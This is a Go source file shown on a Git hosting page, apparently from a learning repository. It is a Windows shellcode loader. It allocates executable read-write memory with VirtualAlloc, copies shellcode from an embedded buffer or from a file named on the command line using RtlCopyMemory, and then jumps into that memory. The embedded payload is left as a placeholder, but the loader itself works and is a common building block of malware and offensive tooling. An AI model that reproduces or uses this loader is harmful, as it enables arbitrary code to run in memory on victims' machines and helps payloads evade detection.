forked from go/golangs_learn
You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
51 lines
1.1 KiB
51 lines
1.1 KiB
3 years ago
|
package main
|
||
|
|
||
|
import (
|
||
|
"io/ioutil"
|
||
|
"os"
|
||
|
"syscall"
|
||
|
"unsafe"
|
||
|
)
|
||
|
|
||
|
const (
|
||
|
MEM_COMMIT = 0x1000
|
||
|
MEM_RESERVE = 0x2000
|
||
|
PAGE_EXECUTE_READWRITE = 0x40
|
||
|
)
|
||
|
|
||
|
var (
|
||
|
kernel32 = syscall.MustLoadDLL("kernel32.dll")
|
||
|
ntdll = syscall.MustLoadDLL("ntdll.dll")
|
||
|
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
|
||
|
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
|
||
|
shellcode_buf = []byte{
|
||
|
// 0xfc, 0x48, ----shellcode----, 0xd5,
|
||
|
}
|
||
|
)
|
||
|
|
||
|
func checkErr(err error) {
|
||
|
if err != nil {
|
||
|
if err.Error() != "The operation completed successfully." {
|
||
|
println(err.Error())
|
||
|
os.Exit(1)
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
|
||
|
func RunShellCode() {
|
||
|
shellcode := shellcode_buf
|
||
|
if len(os.Args) > 1 {
|
||
|
shellcodeFileData, err := ioutil.ReadFile(os.Args[1])
|
||
|
checkErr(err)
|
||
|
shellcode = shellcodeFileData
|
||
|
}
|
||
|
|
||
|
addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
|
||
|
if addr == 0 {
|
||
|
checkErr(err)
|
||
|
}
|
||
|
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
|
||
|
checkErr(err)
|
||
|
syscall.Syscall(addr, 0, 0, 0, 0)
|
||
|
}
|